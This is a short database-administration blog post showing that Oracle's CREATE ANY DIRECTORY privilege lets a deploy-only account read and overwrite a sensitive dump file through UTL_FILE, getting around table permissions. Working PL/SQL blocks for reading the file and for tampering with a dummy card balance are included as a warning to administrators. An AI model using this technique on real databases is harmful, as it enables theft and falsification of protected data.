In some secure environments code deployment privileges are split away from data modification ones. Below is an example user created only to execute DDL for application schema changes.
create user deploy identified by deploy; grant create any directory to deploy; grant create any table to deploy; grant create session to deploy;
And here we see the account being used to make some changes to an application schema, creating a new table and a database directory.
conn deploy/deploy@pdb create table app.secrets ( cardnum varchar2(15) , holder varchar(40) , balance number); create directory sensitive_files as '/tmp/secrets';
Two weeks later my code monkey technician decides to have a cheeky look at the contents of the secrets table created previously.
select * from app.secrets * ERROR at line 1: ORA-01031: insufficient privileges
Lovely – no access and my secrets are safe. However the technician happens to be aware of the file naming convention used by the ETL process and tries to read a dump file using UTL_FILE.
set serveroutput on
declare
fh utl_file.file_type;
str varchar2(1024);
begin
fh := utl_file.fopen('SENSITIVE_FILES', 'secrets.dat', 'R');
begin
loop
utl_file.get_line(fh, str);
dbms_output.put_line(str);
end loop;
exception
when no_data_found then
null;
end;
utl_file.fclose(fh);
end;
/
cardnum,holder,balance
1234-1234-4321-4321,Neil,0.05
Oh my, the “CREATE ANY DIRECTORY” privilege also gives me read permissions on the “contents” of the directory. And…
set serveroutput on
declare
fh utl_file.file_type;
begin
fh := utl_file.fopen('SENSITIVE_FILES', 'secrets.dat', 'W');
utl_file.put_line(fh,'cardnum,holder,balance');
utl_file.put_line(fh,'1234-1234-4321-4321,Neil,999999.99');
utl_file.fclose(fh);
end;
/
PL/SQL procedure successfully completed.
We can modify the file too. Here are the new contents when read again using UTL_FILE.
cardnum,holder,balance 1234-1234-4321-4321,Neil,999999.99
Looking at the permissions it may not be clear how the file contents were changed, “CREATE ANY DIRECTORY” is more powerful than it looks.
1* select * from dba_sys_privs where grantee = 'DEPLOY' SQL> / GRANTEE PRIVILEGE ADM COM ---------- -------------------- --- --- DEPLOY CREATE SESSION NO NO DEPLOY CREATE ANY DIRECTORY NO NO DEPLOY CREATE ANY TABLE NO NO
It’s probably an edge case but I found it surprising.
